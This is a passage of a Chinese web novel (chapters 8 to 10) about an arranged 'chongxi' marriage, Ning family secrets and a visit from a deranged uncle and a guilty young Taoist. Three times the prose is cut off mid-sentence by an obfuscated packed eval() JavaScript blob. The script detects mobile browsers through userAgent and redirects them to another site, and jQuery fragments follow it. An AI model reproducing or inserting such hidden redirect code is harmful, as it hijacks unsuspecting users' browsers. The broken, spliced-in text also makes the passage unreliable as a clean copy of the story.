她爹每每喝醉酒,望着别人家的儿子,摸着下巴砸吧砸吧嘴就开始胡乱猜测这家儿子以后有没有本事。
谁家孩子读书好,他会说:“蘅儿啊,你以后要嫁人就嫁这样的人,聪明老实,没准能给你挣个官夫人回来当当。”
谁家孩子胆子大,他会说:“蘅儿啊,你以后要嫁人就嫁这样的人,胆大心雄,在外头闯一片天地能让你享福。”
谁家孩子够调皮,他会说:“蘅儿啊,你以后要嫁人就嫁这样的人,率性自然,会哄人,成亲了日日让你高兴。”
苏静蘅听得烦了,把那些读书好的,胆子大的,够调皮的通通揍了一顿,让她爹亲眼看着他们满地打滚求饶的熊样,然后说:“我喜欢什么样的我自己心里清楚,倒是爹你说这么多,自己但凡能占着一点好处,我娘也不至于跟着你受苦!”
那时候她爹还有点良心,被怼的哑口无言,就什么都不说了。
苏静蘅一边挑着柴往灶膛里扔,一边听见宁知序继续往下说:“我爹二十五岁时师父去世,一间铺子的事业都交给他,此后十年他一心扑在铺子上,钱越挣越多,事越干越大,到三十五岁时勉强歇口气,又开始为着家里的事操心。”
“他给弟弟妹妹张罗婚事,嫁娶都是洛城有头有脸的人物,宁家年年都有喜事,从年头到年尾一片红红火火,这一忙又是好几年,一直到四十岁都没顾上自己。”
后面的事就是苏静蘅第一回听了。
宁老爷打拼了小半生,有名有利有地位,回头看自己的来时路,却发现自己身边空无一人。
父母已逝,弟弟妹妹也各自成家,独他一人日夜面对着冰冷无情的宅院。
几经辗转失眠,他终于在四十一岁生辰那一天回到了那个自己始终不愿意回的家——一家人疯了一样逃离,摆脱了贫穷的名声,再也没有回去过。
那宅子荒废许多年,他以为推开门里面会比他记忆里的还要不堪。
他害怕看见生裂的墙,满梁的蛛网,纷飞的灰尘,更害怕看见忍饥挨冻的弟弟妹妹和因为多吃了半块馒头就被打骂的自己,他做好了要被儿时的一切当头一棒的准备。
然而真的回到旧宅,这些他都没有看见。
他只看见一个女人抱着孩子安逸地坐在檐下晒太阳。
8. 山居(四)
女人是从北面逃难来的,无处可去,见到山间有一座荒宅,便想着在这里偷住一段时间。
她将屋子简单收拾了一遍,有个睡觉的地方,有口锅,又去附近村子里换了点粮,就这样勉强安顿下来。
那正好是一个阳光明媚的春天。
宁老爷在远处看了她许久,心里做好了准备,才提步走过去,二人第一次见面,各自疑惑,却各自都没有多问什么。
他说他只是路过,想讨口水喝。
她说水是有的,粥也是有的,山高路远,既是路过,不如留下来吃个早午饭,这样才有力气继续行路。
宁老爷沉吟片刻应下邀请。
一碗稀粥捧到面前,女人又有些局促,鼓着勇气笑吟吟地对他说抱歉,她说不知道会有客人来,粥做的不是很好,望他别嫌弃。
他怎么会嫌弃?
“后来我爹跟我说,他从没想到在那破房子里能吃到一口那样好吃的热粥,做粥的人真心对他笑,与他说起山间的事,好像从前的苦日子都是假的,回去之后他一直忘不掉,过了几天就又找了个借口去看我娘。”
“然后你娘又留他吃饭,一来二去他们就相识了?”
宁知序点头:“他们相识了一段日子,我娘愿意跟着他,她跟他说孩子姓‘宁’,我爹听了不论如何也要把我们两个接回家。”
“家里人自然不满,可宁家一家都靠着我爹活,他们说的话不算话,我爹说我就是他亲生的儿子,谁也不许欺辱我,谁若是说我不是宁家的人,他就将那人赶出去。”
苏静蘅弄明白了:“所以你爹死了,他们就不待见你了,都变着法的欺负你!”
“‘变着法欺负我’倒算不上,之前他们碍于我爹的淫威不敢多说什么,我爹死了,他们对我自然是喜欢不来,但彼时整个洛城的人都知道我是宁家二公子,他们不能对我做什么,宁家不缺钱,养一个人也没什么大事,对我给口饭吃倒是能够,所以后来我只是地位比不上之前,不至于要被赶出宁府饿死街头。”
“啊……”苏静蘅细细思索发现不对,连忙问,“不对,既然你爹在遇见你娘之前没成亲,你大哥又是从哪儿冒出来的?”
宁知序道:“这事儿你不清楚?也是,洛城里年纪小的没听家里人说过,对我们家的事自是不太了解。”
“什么事?”
“我大哥是过继来的。”
“啊……”
苏静蘅觉得他现在就算说对她说“我大哥是神仙变出来塞到宁家”的,她也不会觉得有什么不对劲了。
短短一会儿听到那么多宁府密事,她的脑子一时半会儿简直要转不过来。
宁知序说:“我四叔成亲后第二年就因事去世,四叔母生下儿子没两年也郁郁而终,我爹将那孩子留在身边自己亲自带,自此之后我们二人便成了兄弟,日常起居皆一样的用度,爹娘也是一样的爹娘。”
“所以你大哥其实是你堂兄。”
不,不对,连堂兄都不是,因为他根本不是宁家的人。
苏静蘅一阵唏嘘:“没想到你们两兄弟都不是宁老爷亲生的,这些年他待你们如亲生,也是不容易。后来呢?”
“后来——”
锅里的水烧开,宁知序回神将必要的食材焯水,说话的声音渐小,有点漫不经心道,“我爹过世后两年,府里接连有人生病不治而亡,此后府里便流传是我不详,克死了人,从前没想过的那些事也都尽数怪到我身上。”
话又回到他大哥身上。
“我大哥向来是不管也不信这些事的,我爹养他十几载,兄友弟恭的名声他必是要担,平日里重话对我说了不少,但每次都没成真。”
“……”
“所以这次也一样,我三叔自从死了两个孩子,形迹渐渐疯癫,为人亦是很固执,他认定的事非要闹得全府上下不得安宁,更别说这两三年来府里其他人对我本就十分不满,若是再保着我,便要连累他受人苛责了。”
苏静蘅看着灶膛里的火焰,耳朵听见灶台上噼里啪啦的碰撞声,抬起头余光瞄过去,宁知序正巧在看她,两人目光一瞬间对上,苏静蘅双肩一挺,腰板一僵,不知道为什么有点心虚。
她默默将视线移到宁知悉的手上:“可你大哥的病——”
“他身子向来时好时坏,只是这一次病得重了些,大夫说仔细养养过些日子能好一些。”
“哦。”
苏静蘅默然垂下脑袋。
所以只是为了安抚人心,一句话的事就把自己搭进来了。
她揉揉眼睛,说不出心里是什么感觉。
那些人脱了穷褂子,穿上新衣,挥一挥袖子便彻底与过去割席,当从前的自己没活过,自然也不会在意那些与曾经的他们一样的那些人。
当然,她也只敢在心底腹诽几句。
毕竟就算没有宁家,也还有王家李家张家。
家里境况不好,她熬得过初一也熬不过十五,又有什么资格怪罪别人呢。
正低头想着,面前忽然伸过来一只手。
抬起头,宁知序走到她面前半弯着腰看着她,手里攥着一块绢子,见她眼睛里没有眼泪,胸口隐隐一松,说道:“才碰过柴就擦眼睛,也不怕眼睛疼。”
“……”
苏静蘅接过绢子,宁知序又小声道:“我还以为你哭了……”
虽然这件事是自己拖累了她,但这话还没说完她就哭,一时半会儿还真不知道要怎么安慰她。
他哪会哄人,不火上浇油就算好的了。
“才不是,是被火烟熏的!”
苏静蘅连忙辩解。
真是被熏的,就这么点事还不至于让她掉眼泪。
宁知序道:“嗯嗯,我信你。”
“你!”
说得那么敷衍,是故意气她的吧!?
“我真的信你!”
宁知序瞧她那样子,挠挠耳后,“我想说这事是我牵连你了,合该为你做一些事当做补偿,那边的事你不要担心,他们既然没将此事当真,等过了这段日子,我们怎么样他们大概便不会过问了,此次应当是正好找了个合理的借口将我赶出宁府,至于这里的事,大事小事都不用你动手,交给我,哪日你要想走,那就放心的走,宁家那边若是问起来,我编个借口解释几句就好。”
“那也是要解释的不是?”
苏静蘅捡了块柴扔进灶膛小声嘀咕。
从他嘴里说出来是几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319107|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
句解释就能糊弄过去,实际可是要更费力气。
苏静蘅不知道怎么说,盯着蹦出来的火花轻哼一声:“你说了那么多,我明白了,我不是担心你,你就别多想了。”
只要死不了人一切就都好说。
她可不想最后背一条与自己无关的人命,更别说在此事中明明她自己也是受害者。
“那就好。”
宁知序点头,说过了这一茬,两只手一下子忙起来,但是又不知道是在忙什么,这边摸摸那边戳戳,好半天才接上之前的动作。
苏静蘅暗暗看着他,短暂安静之后,她唤道:“宁公子。”
宁知序道:“不必这么见外,我们俩每日这么面对面见着,你天天叫我‘宁公子’,听起来怪生疏,也怪别扭的。”
“哦。”
苏静蘅换了个词说,“那序公子——”
宁知序:“……”
算了,她爱怎么叫就怎么叫吧,看她倔得很,凡事有自己的见解和认定的规矩,他是没办法叫她改口了。
苏静蘅吸吸鼻子,犹疑地问道:“所以我若是走了,你要如何跟宁家解释?”
嗯。
到底心思纯良,没法子对他坐视不理。
“我就说——”
宁知序沉吟些许,拿起锅铲指天,“我就说某天夜里从山上来了个神仙,原本是要来治我这个丧门星的,可是神仙一进屋,看见苏姑娘在屋里,大喜道:‘这不是仙女吗!哎呀呀,正巧正巧,王母娘娘身边缺一个侍奉仙女,今天既然在这里寻到了,我今儿高兴,暂时就不收拾你这个丧门星了!你自己好自为之吧!’然后苏姑娘就变成仙女跟着他走了,留下我一人独守空屋。”
说罢,他耸肩摊手。
苏静蘅抄起一块柴:“不许说自己是丧门星!”
大有他再说一句“我是丧门星”就要狠狠教训他一顿的意思。
宁知序很配合地捂嘴:“行,不说不说,我日后都不说了还不行?”
苏静蘅怒气冲冲放下柴再也不看他,嘴里说道:“我才不要去做侍奉仙女,那多没意思,侍奉仙女能吃春笋鸡汤吗?那必是不能的,听说天上的神仙饿了吃叶子,渴了喝露水,啧啧,日子过得还不如我。”
说着,她叹一声气:“要做神仙也等我死了之后再做吧,到时候你也去做个闲散神仙,免得我到天上有个神仙都不认识。”
宁知序小心翼翼问:“那我真去做扫把星?”
“我看你是真想挨打了。”苏静蘅再一次抄起木柴。
宁知序悻悻一笑,不敢再惹她。
他去干自己的活儿,苏静蘅面对着火焰,时间久了,觉得两颊被烤得发烫发疼。
毕竟两个锅两个灶膛,一个架着饭甑煮饭,一个烧菜炒菜,半点不能懈怠,她伸手推开旁边墙上尺宽的小窗透气,一阵风出来,顿时觉得凉爽许多。
很快屋子里香味弥漫,揭开锅盖一道热气朝着屋顶扑去,隔着白色热气,宁知序招呼道:“赶紧出来洗手吃饭,再坐在那儿,小心被烤熟了!”
苏静蘅拿起拐杖站起来,宁知序这时又探过头,盯着拐杖说:“这棍子还在呢,半天没瞧见它,我还以为你把它塞火里烧了!”
9. 天命(一)
他说话欠打,这次苏静蘅一点没客气,扶着灶台提起棍子狠就朝宁知序的腿招呼过去。
可惜一次都没戳中。
这小子腿脚还挺灵活的,左一蹦右一跳,全闪过去了。
自然,她也并非要真打他,不过是装个样子吓唬他一下罢了。
像他这样的人记吃不记打,不管她怎么吓唬,他都不会放在心上,这拐杖多挥几次也没用,他只会冲她笑。
宁知序保持着金鸡独立的动作,身子歪歪扭扭好不容易定住,摊手说:“你可别敲我腿,要敲伤了那可是没法子,咱俩至少得有一个人有一双好腿才方便干活是不是?”
苏静蘅低头看了看自己的腿,不想和他说话,自个儿去舀了半瓢水,简单将手洗净,坐到桌边时,宁知序已将饭盛好安安静静等着她吃饭了。
堂屋正经的桌子平日用不上,搬动不便,收拾起来也费力一些,因此家家都有专门吃饭用的小桌,少则一人,多则五六人,挤一挤一日的餐饭都在小桌上吃了。
苏静蘅靠着门坐,外边风凉凉地吹进屋,吹得发丝乱转。
宁知序呆看了她一眼,闷不作声地想,等天热一点,便可以将桌子搬出去吃饭,外边风一吹,可比在屋里透气多了。
外边风景还好,嘴巴享福了,眼睛自然也不能落下,都要痛痛快快地过过这山间春风绿水的瘾才行。
正想着,苏静蘅拿起筷子搛起一块肉送入口中,他凝神屏气,瞧见苏静蘅嚼几口重重点头,似乎很是满足,忍不住问:“还行吧?我不是跟你吹牛,这几年我可是学了不少真本事的!”
看他那得意的样子,苏静蘅难得捧他的场:“序公子的手艺天下第一,今日我可是有口福了。”
宁知序听她一声夸奖,面上的笑藏不住,将其他几盘菜都推到她面前,迫不及待地说:“都尝尝!”
除了春笋鸡汤,油焖笋片,还有一道她不认得的菜。
苏静蘅没拂他的兴致,一道一道地尝,每吃一口,都顺着他的意思好好夸奖一番。
春笋鸡汤鲜嫩清爽,醇香回甘,鸡肉口感滑润,鲜味饱满,咬一口汤汁沾满唇舌,可比她儿时吃过的鲜多了!
当然,大约也可能是她太久没吃这道菜,乍一吃记忆骤然唤起,对菜的味道更加敏感清晰,所以反应稍微大一些。
至于油焖笋片,酱味饱满,另带一点不浓不淡的焦香,入口却携着几分脆甜,她一下没忍住多吃了两口。
便是那道她不认识的菜,绿油油的菜丝一筷子入嘴解腻鲜甜,与另两道菜配得正好。
她几乎把脑子里能用来夸赞的词都搬出来,磕磕绊绊夸完,宁知序才得意洋洋地吃起来,边吃边跟她说:“就宁府送来的那些东西呀,咱们这些日子可要好好地吃,有些东西放不住的,放久了就坏了,这几天先把那些东西吃了,剩下的交给我,必不会——”
他原想说必不会饿着她,可话这么一说出口,好像是为了她做事似的,他自己难道不吃吗?说出口她要是多想,又计较这个情那个恩的,到时候件件事都要跟他分个清楚,也麻烦,于是改口说,“我贪吃,必不会让自己的肚子受委屈,你同我一块儿,我吃啥你吃啥,必不会让你受饿。”
苏静蘅应声,她在家哪吃过这么好的菜,大多数时候一日两餐,甚至有时候一天一顿勉强应付过去,第二天继续如此,也没觉得日子过不下去。
对比起来,这宁二郎就算被撵出家门,靠着宁家给的这一点点东西,日子过得也比她从前好多了。
她是不喜欢宁家,可是他们给的东西不吃白不吃,越是讨厌他们,苏静蘅吃得就越欢,没一会儿肚子觉得撑了,但还想再吃两口。
勉勉强强又吃了一点,又赶着宁知序开口之前说:“碗我来洗吧,你上午进山走一圈,现在歇一歇才好。”
宁知序说:“不用,这么点小事要分个有来有回,那接下来一段日子过得得要多累,待哪日我干够了再说吧,到时候交把手儿,我歇两顿,你可不许耍赖皮。”
“肯定不会。”
苏静蘅于是没强求,用绢子擦了擦嘴,之后捧着下巴看他,问:“宁公子性格从来都这样么?”
宁知序不解:“什么样?”
苏静蘅笑着说:“不管是不是自己的事都拢在自己头上,不管是不是自己的错,也都拢在自己头上。”
“哪里有?”
宁知序不肯认,“我是傻子么?该自己的就是自己的,不该我的,抢也抢不来。”
苏静蘅抿着嘴笑,心说是不是你心里清楚,狡辩的时候都不敢看她的眼睛!
宁知序有些心虚,他习惯如此,在宁府这几年的日子告诉他,这么做能够为自己省去很多麻烦,勤快些做事,凡自己能做的不要让别人动手,便不至于被无缘无故地找麻烦。
现在离了宁府,这习惯也改不掉。
“我去洗碗。”
苏静蘅的脑袋随着他的动作转过去,手指在腮帮子轻点几下,跟宁知序说:“如你所说,我按礼回门应该不会被你家人找茬吧?”
“你要回去?”
“嗯,还有些东西没拿,我想一齐收拾了带过来。”
宁知序想了想,说:“便是找茬,他们也没道理,大不了我去跟他们吵架。”
“你还会吵架?”
苏静蘅对此表示怀疑。
他这个性格,怎么看都不是会和别人较真的样子。
宁知序豪横地狠:“怎么不会,长嘴不就是用来和别人吵架的吗?”
“不信。”
苏静蘅觉得他就是嘴硬。
宁知序埋头洗碗,刷锅,剩下些菜罩好了留着晚上热一热再吃一顿。
他不打算休息,苏静蘅说不信,他也不申辩不解释,从屋里翻了几把篾刀出去。
苏静蘅瞧着他的动作,赶紧说:“做什么随你,不过得先用竹竿子搭个晾衣架子用。”
比起那些暂时用不着的东西,还是晾衣架最重要。
日后天气越来越热,他们两个人的包袱加起来好像也没几件衣服,这样就更需要勤加换洗晾晒,不洗的话就没衣服换。
这屋子,里面是麻雀虽小五脏俱全,外边就是所见即所有,一片光秃秃的,能用的东西没多少。
门口原本应该是长着不少杂草的,从婚事定下到成亲也就两三天的功夫,宁家派人匆匆忙忙将草清了清,将屋子收拾收拾,有些细微的东西却没有准备。
还得靠他们自己做。
宁知序是忘了这一茬,昨日的衣服还没洗,他心里纠结,那身衣服好像以后也没机会穿第二次,所以昨夜换下之后就放一边没再看。
那身衣服要如何处置呢?
他有些迷茫地盯着苏静蘅看。
“你看我做什么?”
“没什么。”
宁知序摇头,背过身搬了个凳子在屋门口坐下摆弄从山上弄下来的那些竹子,苏静蘅问:“昨日的衣服你洗了吗?没洗给我吧,正好明儿一起洗了。”
他背一僵,忙说:“这样不太好——”
苏静蘅又头疼了。
外衣而已,他不必那么紧张吧?
“那衣服太艳了,平日穿不了,放着太糟蹋了,你要是有不穿的旧衣,可以给我,我帮你改改,就用那新衣服的料子改,保证好看的!”
苏静蘅想将这套衣服拆了用料子重改一件新的,想到他那身,顺手也改了算了。
宁知序干咳两声,还想说:“不用。”
却忽然感受到耳边吹来一阵温热的风,抹过头,苏静蘅不知什么时候到他身后,俯首同他一般高度,紧紧盯着他。
“不许说不。”
温热的鼻息拂过耳侧,宁知序倒抽一口气,差点从凳子上摔下去。
这人,腿不是瘸了吗?!
怎么走路还一点儿声都没有!
“不许说不。”
苏静蘅又重复一遍,摇着头一字一顿郑重地说。
“行,咳,行行。”
宁知序僵硬地将头扭回去,双手做起活来便又开始不自然。
苏静蘅现在算是彻底摸清楚他的性子和习惯。
不管什么事自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319108|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心里一旦有了主意,就必须要直截了当地跟他说,不然他只会用行也不行模棱两可的语气答复她。
这人怪拧巴的!
肯定是在宁府被欺负惯了!看来自己要趁这几天教教他怎么堂堂正正做人才行!
苏静蘅撑着拐杖回到檐下。
宁知序余光瞥见她的动作,撑着木棍一走一大步,落地真的一点声音都没有。
她竟这般轻……
嗯,肯定是之前吃的少了,看来这段日子他要多给她弄点吃的才行!
两个人的心思一时都放在对方身上。
苏静蘅心里念着宁知序,满怀心思地随手提了把旁边的凳子要往下坐,宁知序看她这动作,忽然想起来什么,扔下篾刀大喊一声:“别坐!”
然而还是太迟,一声惊呼过后,苏静蘅摔在地上。
她就这样一动不动地躺着,天上太阳照得她眼睛睁不开来,直到一抹高大的身影出现在面前,挡住天上的太阳,她冲着黑影傻笑一声:“嘿,忘了你跟我说过这个凳子是坏的了。”
宁知序:“……”
她没要宁知序扶自己,偏要在地上躺一阵,然后站起来,将凳子放倒了坐。
其实摔躺下之后她便想要是能这样一直躺下去就好了,只可惜地上又脏又冷,真要她睡她又受不住。
苏静蘅缓一口气,坐起来之后忍不住打了个哆嗦。
宁知序站在旁边,帮着她拍了拍后背衣服上的灰,摸到发丝的刹那,他滞住,纠结很久,说:“我去烧点热水,趁着今日天暖,将头发洗洗挺好的。”
话落不给她回应的机会,就跑去厨房烧水。
又起一阵风,苏静蘅抱着腿安静坐着,侧首看见厨房里忙来忙去又是倒水又是烧火的身影,心里涌上一股说不出来的感觉。
并非高兴欢喜,是一种她说不出来的低落情绪。
捂住胸口喘两口气,好不容易将这股奇怪的情绪压下去,抬起头却看见屋前道上远远出现两个身影,一个在前面快步走,另一个则被拉着踉踉跄跄地小跑,好几次都差点摔个跟头。
这一条道分两条岔路,一条通往山间村落,一条便是自家门口。
她以为那两人是对面山头村子里的村民,没太放在心上,谁料那两个人走到岔路口的地方,突然改道往她这边来。
她心中一凛,赶紧喊:“宁知序!”
两人越来越近,转眼到面前来,为首那人瞪着一双眼睛上下打量着起她,没等她出声询问,二话不说指着她就开始抽抽搭搭地哭。
苏静蘅:“……”
怎么回事,这人是来干什么的?
走过来的时候那么气势汹汹,她还以为他是来打人的,怎么到面前就开始哭了?
而且他这身衣服料子一看就不便宜,莫非他是宁家的人?
宁知序听见动静端着盆从屋里来,望着突然出现的人,惊道:“三叔?”
三叔!
果然是宁家的人。
苏静蘅不知道该如何反应,面前的人抹着眼泪冲着她哭道:“苏姑娘!你就是苏姑娘吧?救救我们宁家,救救我们宁家啊!”
苏静蘅:“……”
他哭着冲上前,神志好像有些不太清楚,只顾着对她擦鼻涕抹眼泪,嘴里说一些“救救我们”之类的词,几次想上前拉苏静蘅的袖子,但被宁知序挡在中间。
宁家三爷见此气急,眼泪鼻涕还挂在脸上,却对宁知序发狠,“你还有脸拦着!都是你!把我们宁家害成这个样子!”
说着,跳起来就要踹他。
幸亏与他同行的那道士模样的人及时出手,抱住他的腰将他拖着,劝道:“三爷!三爷!别生气呀,咱们宁家怨气已生,必须有个人来解,你把他打坏了,谁来冲喜呢!”
宁三爷闻言倏然撤力。
是啊,老道士说要他和苏家女儿在这儿住七七四十九天,不然的话宁家就完了。
他暂时不能动他,等这段日子过去,再找他算账。
到时候一定要把他剥皮抽筋,让他为自己早死的那两个孩子偿命!
10. 天命(二)
宁三爷忍住心里的恨,挣脱小道士的手。
他从没见过宁知序用这般目光看着他——嘴上说着并不锋利的话,一句平平无奇的“三叔请自重”,却暗藏机锋,不似往日那般逆来顺受。
大哥走了之后,这小子窝在后院柴房,捡些府里人不用的东西一活就是好几年,纵是别人怎么瞧他怎么说他,都没有露出过这样的模样。
而如今好像身后真有什么旁人动不得的珍宝,他偏要拿命护着一样,竟然敢毫不掩饰地直视他的眼睛,似乎做好了随时要跟他动手的准备。
“哼。”
宁三爷冷哼一声,不跟他计较。
略过他的视线,重新盯着苏静蘅,当下就跟换了脸一样,挤了挤眼睛里的泪,继续哭嚎着说,“苏姑娘,你可一定要救救我们苏家,大师说只有你能救我们了!”
“我?”
苏静蘅看他这模样想笑又不敢笑,话头重新转到自己身上,她后退半步,眼睛盯着地面局促地说,“和我有什么干系?”
宁三爷赶紧说:“有关系!大师说你是天命之女,能克这丧门星身上的煞气!有你在,咱们宁家煞气必除,怨气必散,日后府里再不会有无辜之人丧命,生意也会越做越大!这是上天给我们的机会,不能不信!不能不信啊!”
他说的这些话玄之又玄,说着说着就陶醉在自己的情绪里,闭着眼睛仰首朝天,那滴眼泪就这样滑进掺着白丝的头发之中。
小道士在旁边欲言又止,想开口打断他的幻想,却又害怕他一睁眼给自己屁股来上一脚,只敢嘀嘀咕咕说:“我师父他老人家不是这么说的……他、他老人家明明什么都没说,这都是你自己乱猜的……”
“嗯?你说什么?”宁三爷刷的睁眼。
小道士被吓了一哆嗦,闭上嘴巴不敢再说。
他在宁府可是亲眼看见过这位宁三爷发疯的。
现在宁家是二爷和大公子一起管事,稍有不顺他意的地方,他就要闹,昨儿他便闹得厉害了,因为宁二公子成亲,他非要去看,任谁拦都拦不住。
其实若只是去看几眼也不是不行,他看个高兴,这件事也就没白忙。
可他左思右想,临时改变主意,偏要跟着一起走。
说为了宁家要牺牲自己,日日守在宁二公子身边,直到七七四十九天时限一过,确保宁家转运,他再回家。
这能让他去吗?
人家新郎官新娘子结婚,他一个三叔要跟着一起住,说出去也不怕人笑话。
而且他这模样,十天有九天疯疯癫癫,不受控制,离了宁家,不知道要弄出什么样的祸来。
一群人左劝右劝,好不容易把他劝住,本以为事情就这样过去了。
谁知道今天天一亮,他又开始发疯了,上午去宁二爷屋里摆大道理,兄弟两个吵得面红耳赤,不欢而散,中午又去大公子房里哭诉。
纵使大公子性子再好,对他这要求也不能答应。
最后实在没办法,两边既然都不答应他的话,他只能自己想办法,于是趁着中午大家吃饭的功夫,把他这么一个什么都不知道的小道士揪走,说是防止苏家女儿镇不住宁家二公子的煞气,要带个帮手帮帮苏家姑娘。
师父今日不在府里,能用的只有他一人。
但他一个才入门的小道士懂什么?
不过是拜师没两年,跟着师父走南闯北一段时间,路过洛城歇歇脚想讨口吃的而已,就被这么一个疯子缠上了。
回想起这事,小道士心里一阵懊悔。
当日他跟着师父进城,摆了个算命摊子赚赚路费,才第一天就遇见宁家三爷来算命。
为了赚钱忽悠人不可耻。
尤其是这宁三爷穿金戴银,朝摊子前一站,一看就是有钱人,他们自然不能放过。
师父对着宁三爷掐指一算,从肚子里掏出那些说烂了的场面话,三两句就把人忽悠住——其实他根本没说什么,看来人苦大仇深,就说两个字:“有劫”;看来人面露欢喜,也说两个字:“有喜”。
那些人一听到这些话话,立刻就说:“哎呀呀,大师你说对了!”
然后一点不带隐瞒的将自己身上的“劫事”或“喜事”说出来。
接下来就看算命的嘴皮子溜不溜,能不能将人唬住了。
其他人厉不厉害他不知道,反正他师父的嘴皮子溜得很!
跑江湖几十年,忽悠过的人没有一千也有八百,随便找点话术就获得了宁三爷的信任,进了宁府好吃好喝的送到面前供起来,日子过得那叫一个自在。
不过师父他老人家也知道什么叫多说多错,不说不错。
进了宁府之后依旧是什么都没说,只三两句,忽悠着宁三爷开口,然后他顺着宁三爷的意思把话往下说。
有劫,是什么劫?
他自己会说:“我们家有个丧门星,把家里人都克死了,宁府日子一天不如一天!”
师父摇摇头,说:“难。”
他再跪下来磕头,请求:“大师一定要帮帮我们,看看有没有法子改变我们家的命数!”
师父点点头,说:“万物有法,逆天改命,实为难事,不过——”
不过什么?
容不得他多问,师父又说:“因果轮回,相生相克,自有解法。”
话说一半又不说了,剩下来的交给他自己悟。
宁三爷悟了一会儿,问:“要从根本上解决这个麻烦,就不能放任那个丧门星一直在家里待着!只是赶他走也不算是个解法,我们要改他的命数!”
师父不说是,也不说不是。
宁三爷觉得那就是了,于是又问:“找个人给他冲喜成不成?”
这法子是最常见的,别的人家遇到变故都这么做,他第一想法自然也是这个。
师父依旧不说话,他便觉得那肯定又是了,二话不说,磕头道谢。
当然,他师父还没那么没有良心,知道这随随便便的一句话,没准要搭上另外一个无辜的人,当即叫住他,对他说:“因非因,果非果,对非对,错非错。”
原本是想拦住他,告诉他这事没他想的那么简单,可是宁三爷又悟了:“没错!这事不仅和丧门星有关系,和我们有关系,与上一辈的人也有关系啊,那才是真正的因!”
他问怎么办。
师父摸着胡子一阵思索,不能反驳他的话,随手指了一个方向,想让他自己再悟悟,可宁三爷顺着他的方向瞧了一眼,眼睛登的一亮,大喊:“天啊!神啊!您初到此处,就知道我老家在哪里,没错!家里那个丧门星就是从那边山里自家旧宅捡来的,您的意思是让他回去冲喜?”
小道士当时就被气笑了。
师父胡说八道的话他都能接上,这宁三爷才是神。
神当场就下令让宁家二公子去冲喜,第二天找了个八字相合的姑娘,还特地让师父为这桩姻缘算了一卦。
小道士对此心里挺愧疚。
师父算了算,说他们八字相合,合
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319109|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得不得了!是一桩绝好的姻缘!这一次是歪打正着,他们做了一件天大的好事。
可他总觉得这是为了钱财害人性命。
今日来一看。
果真。
眼前这姑娘,十六七岁的妙龄,被扔到这地方和一个人人唾弃的倒霉鬼做夫妻,还要被一个脑子坏了的疯子纠缠。
唉,真惨啊……
他们这一次也是真了造孽,祖师爷在上,定是要狠狠怪罪他们了!
苏静蘅看见小道士面露苦恼,再看宁三爷恶狠狠地盯着他,忍不住出声打个圆场,“天命之女……这话说的太大,我担不起,也没那个能力,三爷还是莫要以此叫我了。”
她没跟着宁知序一起叫三叔。
外边的人都叫他宁三爷,她也这么叫,明摆着是不想和宁家扯上太多关系。
宁知序不声不响瞧她一眼,假装没懂其中的意思,宁三爷连忙说:“不!你就是来救我们宁家的天命之女,你放心,我今日来不是来刁难你的,我是来帮你的!”
“帮我?”
苏静蘅不明白,“帮我什么?”
要真想帮她,一开始就不应该逼她嫁给宁知序。
宁三爷说:“帮你去去你相公身上的煞气,这样能替你省些神力,咱们宁家的气运也会更快转好!”
苏静蘅:“……”
疯子,这人果然是疯子。
说话前言不搭后语,跟他说再多也是浪费力气,苏静蘅皱着眉冲小道士递了几个眼神。
小道士摊手叹气。
他也没法子,他也是被迫的。
这宁三爷力气大得很,揪着他就往城外跑,两个人出了洛城狂走半个多时辰才走到这儿,走得他腿都要断了!
而这位宁三爷的腿却跟砖头做的似的,走了那么远的路,一点不觉得累。
他身子硬朗,感觉比自己还能多活二十年。
他不敢跟他有正面交锋,只能这样在背后传几个无奈的眼神撒气。
苏静蘅转头又瞪宁知序。
宁知序抿抿嘴,立刻做了个“是我惹来的麻烦,我有错”的姿势,冲她点点头,保证接下来的事都交给他,一定解决好。
他既做了保证,苏静蘅便不再怀疑。
眼前宁三爷还异常亢奋地对小道士说:“快,你们道士都会法术,来,给他驱驱邪!”
小道士磕磕巴巴道:“我说过我是道士,不是巫师……我不会跳大神……”
“什么?”
宁三爷再次变脸,小道士被他眼神一吓,瘪瘪嘴,道:“我试试,我试试行不行?做不好不准骂我……”
他怯生生地走上前,左右打量一转,拖延着时间四处走了一圈,随后说要站在堂屋门口对着太阳作法才更有用。
宁三爷于是跟着他站到堂屋门前,小道士左右蹦两下,假装施法,前后又跳两下,却一个不留神被地上躺着的石头子滑倒,这一下正好摔在门上,把虚掩着的门推了个打开。
宁三爷顺势朝里面一看,一块床板搭着一床枕被放在堂屋里,他大惊:“你们两个昨夜分开睡的?”
苏静蘅:“……”
